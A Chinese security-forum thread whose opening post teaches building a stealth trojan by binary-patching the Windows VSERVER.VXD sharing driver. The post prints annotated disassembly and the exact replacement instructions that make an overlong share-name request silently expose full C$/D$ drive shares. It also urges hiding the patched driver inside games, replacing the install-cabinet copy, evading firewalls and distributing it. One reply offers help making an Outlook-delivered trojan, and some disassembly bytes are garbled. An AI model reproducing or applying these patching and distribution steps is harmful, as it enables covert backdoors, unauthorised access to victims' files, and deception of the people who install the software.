|
作者: tianyecool [tianyecool] 论坛用户 | 登录 |
网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。 下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的木马来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理,就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230 就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排 CALL SUB_0230 NEW_LOC_0418 POP eax jmp 03469 刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418 就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。 下面是LOC_0415的改法: LOC_0415: 03415 XOR EAX,EAX ;2 字节,同样SUB AL,AL 得到AL=0;还得到EAX=0。 03417 PUSH EAX ;1 字节 调用SUB_0230 用的DWORD参数 0; 03418 XOR ECX,ECX ;2 字节 ECX=0; 0341A DEC ECX ;1 字节 得到ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少 0341B mov edi,ebx ;2 bytes 0341D repne scasb ;2 bytes 0341F SUB EDI,EBX ;2 bytes get the share name long 03421 CMP EDI, 0Dh ;3 bytes大于等于0DH跳转。这儿条件可以改动为等于多少跳转等。 03424 ja short loc_0419 ; 2 byte 03426 POP EAX ;1 byte 堆栈平衡 03427 PUSH EDI ;1 byte 03428 POP EAX ;1 byte EAX=EDI SHARE NAME LONG , 后面要用 刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。 中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。 ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌 ; SUBROUTINE ; ; Called from: 031FD, 32CC ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘 033F4 sub_0026 proc near 033F4 56 push esi 033F5 66| 81 3B 5C5C cmp word ptr [ebx],5C5Ch 033FA 74 07 je short loc_0412 ; Jump if equal 033FC 66| 81 3B 2F2F cmp word ptr [ebx],2F2Fh 03401 75 12 jne short loc_0415 ; Jump if not equal 03403 loc_0412: ; xref 033FA 03403 8D 73 02 lea esi,dword ptr [ebx+2] ; Load effective addr 03406 loc_0413: ; xref 0340F 03406 E8 00006961 call sub_0207 ; (09D6C) 0340B 74 05 jz short loc_0414 ; Jump if zero 0340D 3C 5C cmp al,5Ch ; '\' 0340F 75 F5 jne loc_0413 ; Jump if not equal 03411 46 inc esi 03412 loc_0414: ; xref 0340B 03412 8D 5E FF lea ebx,dword ptr [esi-1] ; Load effective addr 03415 loc_0415: ; xref 03401 03415 2A C0 sub al,al 03417 B9 0000FFFF mov ecx,0FFFFh 0341C 8B FB mov edi,ebx 0341E F2/ AE repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al 03420 8B C7 mov eax,edi 03422 2B C3 sub eax,ebx 03424 83 F8 0D cmp eax,0Dh 03427 77 26 ja short loc_0419 ; Jump if above 03429 55 push ebp 0342A 8B 2D 00011CA4 mov ebp,dword ptr data_0182 ;THE SHARE POINTER ; (11CA4=0) 03430 loc_0416: ; xref 0344C 03430 ?1 FD 00011CA4 cmp ebp,11CA4h 03436 74 16 je short loc_0418 ; Jump if equal 03438 80 7D 08 02 cmp byte ptr [ebp+ClientEBP],2 0343C 75 0B jne short loc_0417 ; Jump if not equal 0343E 8D 75 11 lea esi,dword ptr [ebp+11h] ; Load effective addr 03441 8B FB mov edi,ebx 03443 8B C8 mov ecx,eax 03445 F3/ A6 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] 03447 74 3A jz short loc_0424 ; Jump if zero 03449 loc_0417: ; xref 0343C 03449 8B 6D 00 mov ebp,dword ptr [ebp+ClientEDI] 0344C EB E2 jmp short loc_0416 ; (03430) 0344E loc_0418: ; xref 03436 0344E 5D pop ebp 0344F loc_0419: ; xref 03427 0344F B8 00060002 mov eax,60002h 03454 5E pop esi 03455 F9 stc ; Set carry flag 03456 C3 retn 03457 loc_0420: ; xref 0349F 03457 8B 43 34 mov eax,dword ptr [ebx+34h] 0345A 8B 1B mov ebx,[ebx] 0345C 81 FB 00011CA4 cmp ebx,11CA4h 03462 74 0A je short loc_0421 ; Jump if equal 03464 3B 43 34 cmp eax,dword ptr [ebx+34h] 03467 74 2F je short loc_0425 ; Jump if equal 03469 B8 00020002 mov eax,20002h 0346E loc_0421: ; xref 03462, 3481, 354D, 35E8 0346E ?E pop esi 0346F F9 stc ; Set carry flag 03470 C3 retn 03471 33 DB db 33h,0DBh 03473 loc_0422: ; xref 0349D 03473 5E pop esi 03474 C3 retn 03475 loc_0423: ; xref 034C1 03475 8B D3 mov edx,ebx 03477 �BB 0000000A mov ebx,0Ah ; (0000A=0B8h) 0347C B8 00590002 mov eax,590002h 03481 EB EB jmp short loc_0421 ; (0346E) 03483 loc_0424: ; xref 03447 03483 8B DD mov ebx,ebp 03485 59 pop ecx ;ebp ,the password long 03486 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0) 0348D 75 12 jnz short loc_0426 ; Jump if not zero 0348F 8B 34 24 mov esi,[esp] 03492 F6 46 1F 01 test byte ptr [esi+1Fh],1 03496 75 09 jnz short loc_0426 ; Jump if not zero 03498 loc_0425: ; xref 03467 03498 E8 00000182 call sub_0027 ; (0361F) check the password 0349D 72 D4 jc loc_0422 ; Jump if carry Set 0349F 75 B6 jnz loc_0420 ; Jump if not zero 034A1 loc_0426: ; xref 0348D, 3496 034A1 F6 43 10 40 test byte ptr [ebx+10h],40h ; '@' 034A5 0F 85 00000089 jnz loc_0433 ; Jump if not zero 034AB A1 00011CC4 mov eax,data_0190 ; (11CC4=0FFFFF000h) 034B0 80 38 01 cmp byte ptr [eax],1 034B3 0F 83 00000134 jae loc_0439 ; Jump if above or = 034B9 loc_0427: ; xref 0353B, 3564, 356F, 35F6 ; 3611 034B9 66| 8B 53 0E mov dx,word ptr [ebx+0Eh] 034BD 66| 39 53 0C cmp word ptr [ebx+0Ch],dx 034C1 76 B2 jbe loc_0423 ; Jump if below or = 034C3 loc_0428: ; xref 03528 034C3 8B 0D 00011B34 mov ecx,dword ptr data_0170 ; (11B34=0) 034C9 85 C9 test ecx,ecx 034CB 74 56 jz short loc_0431 ; Jump if zero 034CD 8B 01 mov eax,[ecx] 034CF A3 00011B34 mov data_0170,eax ; (11B34=0) 034D4 66| FF 43 0E inc word ptr [ebx+0Eh] 034D8 89 59 0C mov dword ptr [ecx+0Ch],ebx 034DB C6 41 14 03 mov byte ptr [ecx+14h],3 034DF 8A 41 17 mov al,byte ptr [ecx+17h] 034E2 04 08 add al,8 034E4 0C C0 or al,0C0h 034E6 88 41 17 mov byte ptr [ecx+17h],al 034E9 C6 41 15 00 mov byte ptr [ecx+15h],0 034ED 8B 34 24 mov esi,[esp] 034F0 F6 46 1F 08 test byte ptr [esi+1Fh],8 034F4 75 08 jnz short loc_0429 ; Jump if not zero 034F6 A1 00011CC8 mov eax,data_0191 ; (11CC8=0FFFFF000h) 034FB FF 40 10 inc dword ptr [eax+10h] 034FE loc_0429: ; xref 034F4 034FE 5E pop esi 034FF 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h ;ADMIN$ ? 03506 75 0E jne short loc_0430 ; Jump if not equal 03508 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh 0350E 75 06 jne short loc_0430 ; Jump if not equal 03510 80 7B 17 00 cmp byte ptr [ebx+17h],0 03514 74 61 je short loc_0435 ; Jump if equal 03516 loc_0430: ; xref 03506, 350E, 3584 03516 B8 00011CD4 mov eax,11CD4h 0351B E8 000056BC call sub_0130 ; (08BDC) 03520 85 DB test ebx,ebx 03522 C3 retn 03523 loc_0431: ; xref 034CB 03523 E8 00000190 call sub_0028 ; (036B8) 03528 73 99 jnc loc_0428 ; Jump if carry=0 0352A EB 00 jmp short loc_0432 ; (0352C) 0352C loc_0432: ; xref 0352A 0352C 5F pop edi 0352D B8 00590002 mov eax,590002h 03532 F9 stc ; Set carry flag 03533 C3 retn 03534 loc_0433: ; xref 034A5 03534 8B 34 24 mov esi,[esp] 03537 F6 46 1F 01 test byte ptr [esi+1Fh],1 0353B 0F 85 FFFFFF78 jnz loc_0427 ; Jump if not zero 03541 loc_0434: ; xref 03575, 358F 03541 ?B D3 mov edx,ebx 03543 BB 0000000B mov ebx,0Bh 03548 B8 00050001 mov eax,50001h 0354D E9 FFFFFF1C jmp loc_0421 ; (0346E) ;* No entry point to code 03552 8B 3C 24 mov edi,[esp] 03555 53 push ebx 03556 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h) 0355C E8 FFFFE407 call sub_0009 ; (01968) 03561 5B pop ebx 03562 0B ED or ebp,ebp ; Zero ? 03564 0F 84 FFFFFF4F jz loc_0427 ; Jump if zero 0356A 3E: 83 7D 10 00 cmp dword ptr ds:[ebp+ClientEBX],0 0356F 0F 85 FFFFFF44 jne loc_0427 ; Jump if not equal 03575 EB CA jmp short loc_0434 ; (03541) 03577 loc_0435: ; xref 03514 03577 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0) 0357E 74 11 jz short loc_0436 ; Jump if zero 03580 F6 46 1F 01 test byte ptr [esi+1Fh],1 03584 75 90 jnz loc_0430 ; NOT ADMIN$ Jump if not zero 03586 66| FF 4B 0E dec word ptr [ebx+0Eh] 0358A C6 41 14 00 mov byte ptr [ecx+14h],0 0358E 56 push esi 0358F EB B0 jmp short loc_0434 ; (03541) 03591 loc_0436: ; xref 0357E 03591 80 4E 1F 01 or byte ptr [esi+1Fh],1 03595 C6 41 15 01 mov byte ptr [ecx+15h],1 03599 8B FE mov edi,esi 0359B 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h) 035A1 83 3D 000134E0 00 cmp dword ptr data_0431,0 ; C$,D$ HAVE BEEN SHARED(134E0=0) 035A8 75 14 jne short loc_0437 ; Jump if not equal 035AA 52 push edx 035AB 51 push ecx 035AC 8D 4B 1E lea ecx,dword ptr [ebx+1Eh];THE ADMIN$ PASSWORD 035AF ?1 push ecx ; PARAMETER_1 if ecx=0 no password 035B0 E8 0000856F call sub_0230 ;MAKE C$,D$SHARE (0BB24) 035B5 59 pop ecx 035B6 59 pop ecx 035B7 5A pop edx 035B8 FF 05 000134E0 inc dword ptr data_0431 ; (134E0=0) 035BE loc_0437: ; xref 035A8 035BE 53 push ebx 035BF E8 FFFFE3A4 call sub_0009 ; (01968) 035C4 72 13 jc short loc_0438 ; Jump if carry Set 035C6 8B 3D 00011CCC mov edi,dword ptr data_0192 ; (11CCC=0FFFFF000h) 035CC 8B BF 000000E2 mov edi,dword ptr ds:[0E2h][edi] ; (000E2=358B0000h) 035D2 89 7B 04 mov dword ptr [ebx+4],edi 035D5 5B pop ebx 035D6 85 DB test ebx,ebx 035D8 C3 retn 035D9 loc_0438: ; xref 035C4 035D9 5A pop edx 035DA C6 41 14 00 mov byte ptr [ecx+14h],0 035DE BB 0000000C mov ebx,0Ch 035E3 B8 00010002 mov eax,10002h 035E8 E9 FFFFFE81 jmp loc_0421 ; (0346E) 035ED loc_0439: ; xref 034B3 035ED 75 28 jnz short loc_0440 ; Jump if not zero 035EF 8B 34 24 mov esi,[esp] 035F2 F6 46 1F 01 test byte ptr [esi+1Fh],1 035F6 0F 85 FFFFFEBD jnz loc_0427 ; Jump if not zero 035FC 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h 03603 75 12 jne short loc_0440 ; Jump if not equal 03605 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh 0360B 75 0A jne short loc_0440 ; Jump if not equal 0360D 80 7B 17 00 cmp byte ptr [ebx+17h],0 03611 0F 84 FFFFFEA2 je loc_0427 ; Jump if equal 03617 loc_0440: ; xref 035ED, 3603, 360B 03617 B8 00510002 mov eax,510002h 0361C 5F pop edi 0361D F9 stc ; Set carry flag 0361E C3 retn sub_0026 endp |
地主 发表时间: 08/02 19:24 |
回复: xxzjmcdyt [xxzjmcdyt] 论坛用户 | 登录 |
这么难? 我真怕我一辈子也学不会 哎`~~ |
B1层 发表时间: 08/04 17:39 |
回复: hacker521 [hacker521] 论坛用户 | 登录 |
也有容易的,只需要OUTLOOK和木马,再加上一个制作好的网页即可,如果你要制作方法可发信给我 |
B2层 发表时间: 08/04 17:41 |
回复: ddy328 [ddy328] 论坛用户 | 登录 |
老大我很想学习但我太菜了。没法!哎~~~~~~~ |
B3层 发表时间: 08/05 10:03 |
回复: keke [keke1] 论坛用户 | 登录 |
只要你好好学一定会学会的 |
B4层 发表时间: 08/05 10:14 |
回复: ddy328 [ddy328] 论坛用户 | 登录 |
但是我看不懂怎么学啊?晕~~~~~~~~~~~~~ |
B5层 发表时间: 08/05 12:45 |
回复: kert_t8 [kert_t8] 论坛用户 | 登录 |
要是自己写的那可就牛~~~~~了 |
B6层 发表时间: 08/05 22:28 |
回复: tianyecool [tianyecool] 论坛用户 | 登录 |
一般自己写的木马不容易被发现,公布的木马都容易被发现 |
B7层 发表时间: 08/06 01:12 |
回复: xxzjmcdyt [xxzjmcdyt] 论坛用户 | 登录 |
哎~~为什么看不懂呢? |
B8层 发表时间: 08/08 19:40 |
回复: yyf0322 [yyf0322] 论坛用户 | 登录 |
我靠,厉害!谢谢~~~~~~~~~~~ |
B9层 发表时间: 08/08 19:41 |
回复: cg38826712 [cg38826712] 论坛用户 | 登录 |
………………………………………… 不懂,作那个必须要学C##吗? 我的机子就被人按过木马,气人!!! |
B10层 发表时间: 08/11 00:42 |
回复: tianyecool [tianyecool] 论坛用户 | 登录 |
当然要学C了,这可是基本语言~ |
B11层 发表时间: 09/22 20:31 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号